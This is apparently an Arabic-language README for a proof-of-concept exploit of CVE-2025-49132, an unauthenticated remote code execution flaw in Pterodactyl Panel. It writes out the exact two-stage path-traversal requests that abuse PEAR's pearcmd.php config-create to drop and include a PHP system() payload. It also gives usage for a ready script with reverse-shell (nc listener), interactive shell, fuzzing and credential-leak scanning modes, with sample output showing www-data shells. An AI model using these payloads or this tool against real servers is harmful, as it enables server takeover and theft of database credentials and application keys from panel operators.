
CVE-2025-49132_PHP_PEAR_METHOD
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال CVE-2025-49132، وهي ثغرة حرجة لتنفيذ أوامر عن بعد غير مصادق عليها في لوحة Pterodactyl Panel الإصدارات الأقدم من 1.11.11.
Pterodactyl Panel هي لوحة إدارة خوادم ألعاب مجانية ومفتوحة المصدر مبنية بلغة PHP. تسمح الثغرة لمهاجم غير مصادق بتنفيذ أوامر نظام تعسفية على الخادم المستهدف من خلال معالجة غير صحيحة لنقطة النهاية /locales/locale.json بالاشتراك مع وظيفة pearcmd.php الخاصة بـ PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) هو إطار عمل ونظام توزيع لمكونات PHP قابلة لإعادة الاستخدام. يوفر أداة سطر أوامر (pearcmd.php) يمكن استخدامها لإدارة حزم PEAR.
يقوم ملف pearcmd.php بمعالجة الأوامر من خلال معلمات URL، وعند دمجه مع تجاوز المسار، يمكن استغلاله من أجل:
توجد الثغرة بسبب:
locale في /locales/locale.json بتجاوز المسار دون تحقق صحيحpearcmd.php الأمر +config-create والذي يمكنه كتابة ملفات PHP تعسفيةيمكن للمهاجم:
config-create لكتابة كود PHP خبيث في /tmpيعمل الاستغلال على مرحلتين:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
التحليل:
+config-create+/ - استدعاء وظيفة إنشاء التهيئة في PEARlocale=../../../../../../usr/share/php/PEAR - تجاوز المسار إلى دليل PEARnamespace=pearcmd - استهداف ملف pearcmd.php<?=system('id')?>+/tmp/payload.php - حمولة PHP وملف الوجهةGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
التحليل:
locale=../../../../../../tmp - تجاوز المسار إلى دليل /tmpnamespace=payload - تضمين وتنفيذ payload.phpيتطلب الاستغلال إرسال أحرف خاصة (<, >, ?, =) في URL دون ترميزها. إذا تم ترميز هذه الأحرف بعنوان URL:
<?=system('id')?> يصبح %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
أو يدويًا:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# على جهاز المهاجم، ابدأ المستمع
nc -lvnp 4444
# تنفيذ الاستغلال مع شل عكسية
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
يتحقق من CVE-2025-49132 عبر تسريبات التهيئة (بيانات اعتماد قاعدة البيانات، مفتاح التطبيق).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
يعرض تقدمًا مفصلاً (إنشاء الحمولة، مسار PEAR، حالة التنفيذ).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
argument اختيارية:
-h, --help عرض رسالة المساعدة والخروج
-H HOST, --host HOST الهدف المضيف (مثال: 192.168.1.100 أو example.com)
-c COMMAND الأمر المراد تنفيذه على النظام الهدف
-r REVERSE_SHELL شل عكسية (تنسيق: LHOST:LPORT)
--shell وضع الشل التفاعلية الزائفة
--fuzz البحث عن مسارات تثبيت PEAR
--scan فحص الهدف بحثًا عن الثغرة (تسريبات التهيئة)
-p PEAR_PATH مسار PEAR مخصص (الافتراضي: /usr/share/php/PEAR)
-e ENDPOINT نقطة النهاية الضعيفة (الافتراضي: /locales/locale.json)
--ssl استخدام HTTPS
--timeout TIMEOUT مهلة الطلب بالثواني (الافتراضي: 10)
-v, --verbose إخراج التقدم مفصلاً
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] مخرج الأمر:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
استخدم -v للحصول على إخراج مفصّل (تفاصيل الحمولة، مسار PEAR، إلخ).
# الطرفية 1: ابدأ المستمع
$ nc -lvnp 4444
listening on [any] 4444 ...
# الطرفية 2: تنفيذ الاستغلال
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] تأكد من تشغيل المستمع: nc -lvnp 4444
# الطرفية 1: استقبال الاتصال
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl